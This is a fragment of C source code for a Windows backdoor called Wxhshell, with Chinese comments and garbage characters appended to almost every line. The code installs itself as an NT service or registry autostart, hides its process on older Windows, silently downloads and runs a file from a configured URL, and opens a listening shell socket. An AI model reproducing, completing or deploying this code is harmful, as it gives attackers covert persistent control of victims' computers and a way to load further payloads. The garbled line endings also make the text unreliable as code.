DWORD BasePriority; NE[y|/
ULONG UniqueProcessId; 0&B:\
ULONG InheritedFromUniqueProcessId; YME[%c2x
} PROCESS_BASIC_INFORMATION;
RK;;b~
Q(blW
PROCNTQSIP NtQueryInformationProcess; -=>U
=|
() <`t}FQ
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mLULd} g/o
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; skK*OO2-
kyK'
HANDLE hProcess; sr4jQo
PROCESS_BASIC_INFORMATION pbi; qhN[Dj(d
.o"<N
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @4&,
#xo
if(NULL == hInst ) return 0; cLHF9B5
edTMl;4
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i9y3PP)
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a.CF9m5]c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D8EeZUqU
,P!D-MN$V
if (!NtQueryInformationProcess) return 0; bm^X!i5
3~:0?Zuq
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t,1in4sN
if(!hProcess) return 0; "kU>~~y,
~r PYJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lJlZHO
P!9;} &
CloseHandle(hProcess); $wgc vySx
E0T&GR@.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?;+ ^
if(hProcess==NULL) return 0; ,FY-d$3)
Y[h#hZ
HMODULE hMod; Wge ho
char procName[255]; hRRkFz/0&
unsigned long cbNeeded; O%prD}x
NA=#>f+U%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); x!`b'U\
=g >.X9lr
CloseHandle(hProcess); RP(a,D|
KS?mw`Nr
if(strstr(procName,"services")) return 1; // 以服务启动 <_>.!9q
(Hl8U
return 0; // 注册表启动 &0JK38(
} Y+5"uq<'
rNZO.qijz
// 主模块 T0YDfo
int StartWxhshell(LPSTR lpCmdLine) ^DzL$BX
{ MSK'2+1T@g
SOCKET wsl; yAAG2c4(
BOOL val=TRUE; kq>GMUl~@
int port=0; ](_{,P
struct sockaddr_in door; ,TEuM|
@W#fui<<}Y
if(wscfg.ws_autoins) Install(); fEB195#@9
z;[gEA+I
port=atoi(lpCmdLine); L
43`^;u
!O 4<I_EY{
if(port<=0) port=wscfg.ws_port; >dyhox2*"
eN2dy-0
WSADATA data; G l_\Vy
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A*a7\id!y
Z(KmS(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qFrt^+@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oHOW5
door.sin_family = AF_INET; Q!YF!WoBX
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {>wI8
door.sin_port = htons(port); '/ihL^^@L
I/Sv"X6E
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KUF$h Er
closesocket(wsl); d3Y(SPO
return 1; .N/GfR`0/<
} |O57N'/
/8=:qIJYA
if(listen(wsl,2) == INVALID_SOCKET) { |MR%{ZC^i
closesocket(wsl); 3R'.}^RN
return 1; B*y;>q "{U
} h (qshbC}
Wxhshell(wsl); 0{-`Th+h
WSACleanup(); "\4]X"3<+
`'kc|!%MUq
return 0; mm_^gQ,`
xIM8
} kxygf9I!;
qx Wgt(Os
// 以NT服务方式启动 IY V-*/
|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3\7'm]
{ >vHH
DWORD status = 0; Z"-ntx#
DWORD specificError = 0xfffffff; 4pLQ"&>}80
f( ]R/'o
serviceStatus.dwServiceType = SERVICE_WIN32; mPckf
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
(L`l+t1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %I_&Ehu
serviceStatus.dwWin32ExitCode = 0; GXarUj s
serviceStatus.dwServiceSpecificExitCode = 0; Yr5iZ~V$
serviceStatus.dwCheckPoint = 0; {EOn r1
serviceStatus.dwWaitHint = 0; C5>{Q:.`e'
XI]OA7Zis
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hN& yc
if (hServiceStatusHandle==0) return; 03~+-h&n
&1*4%N@'
status = GetLastError(); be&6kG
if (status!=NO_ERROR) h0T< :X
{ c =jcvDQ6W
serviceStatus.dwCurrentState = SERVICE_STOPPED; NR;q`Xe-
serviceStatus.dwCheckPoint = 0; '&N: S-
serviceStatus.dwWaitHint = 0; 2_Pz^L
serviceStatus.dwWin32ExitCode = status; ^a086n
serviceStatus.dwServiceSpecificExitCode = specificError; N
=x]AC,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); BHF{-z
return; M_qP!+Y
} =>HIF#jU
^?E^']H)5u
serviceStatus.dwCurrentState = SERVICE_RUNNING; -zPm{a
serviceStatus.dwCheckPoint = 0; Dm>T"4B`/
serviceStatus.dwWaitHint = 0; Z"l`e0{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zA2UFax=
} 01&*`0?
iSOD&J_
// 处理NT服务事件,比如:启动、停止 ;n3uV`\
VOID WINAPI NTServiceHandler(DWORD fdwControl) sXSj OUI
{ [Xs}FJ
switch(fdwControl) 7J0 ^N7"o
{ !8wZw68"
case SERVICE_CONTROL_STOP: +A'}PXm*tu
serviceStatus.dwWin32ExitCode = 0; v>JB
rIb$
serviceStatus.dwCurrentState = SERVICE_STOPPED; !}iLO0
serviceStatus.dwCheckPoint = 0; ;X+G6F'
serviceStatus.dwWaitHint = 0; %2^['8t#NH
{ Bx\#`Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`Q
PBj^
} CHQ{+?#
return; \7|s$ XQ\
case SERVICE_CONTROL_PAUSE: 2v"wWap-+
serviceStatus.dwCurrentState = SERVICE_PAUSED; (nkUeQQN
break; _pY
case SERVICE_CONTROL_CONTINUE: c80
}1
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;6DR.2}?>
break; p6<E=5RRd1
case SERVICE_CONTROL_INTERROGATE: d [\>'>
break; 1joc<EI
}; p5lR-G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;e&hM\p
} Q'FX:[@x-S
o@qN#Mg?>}
// 标准应用程序主函数 F@>w&A~K
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =_#ye}E
{ &@mvw=d
ZrmnQ
// 获取操作系统版本 {%]NpFg#b
OsIsNt=GetOsVer(); Ln"+nKr
GetModuleFileName(NULL,ExeFile,MAX_PATH); K?z*3^^X;
u+%)JhIp
// 从命令行安装 B ]|5?QP-
if(strpbrk(lpCmdLine,"iI")) Install(); XS}Zq4H
<ol$-1l#9
// 下载执行文件 /.pa
??u
if(wscfg.ws_downexe) { b|X>3(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y}(_SU
WinExec(wscfg.ws_filenam,SW_HIDE); X;K8,A7`
} e1f^:C
9`LU=Xv/
if(!OsIsNt) { h#(.(d
// 如果时win9x,隐藏进程并且设置为注册表启动 :d!i[W*
HideProc(); tEi@p;Z>
StartWxhshell(lpCmdLine); sW>P-
} eLHa9R{)B
else =2ATqb"$w
if(StartFromService()) kcg)_]~6
// 以服务方式启动 Wh#_9);
StartServiceCtrlDispatcher(DispatchTable); y>)mSl@1y
else w3>Y7vxiz`
// 普通方式启动 >m)2ox_B
StartWxhshell(lpCmdLine); Y-}hNZn"{
htdn$kqG
return 0; ~NNaLl
}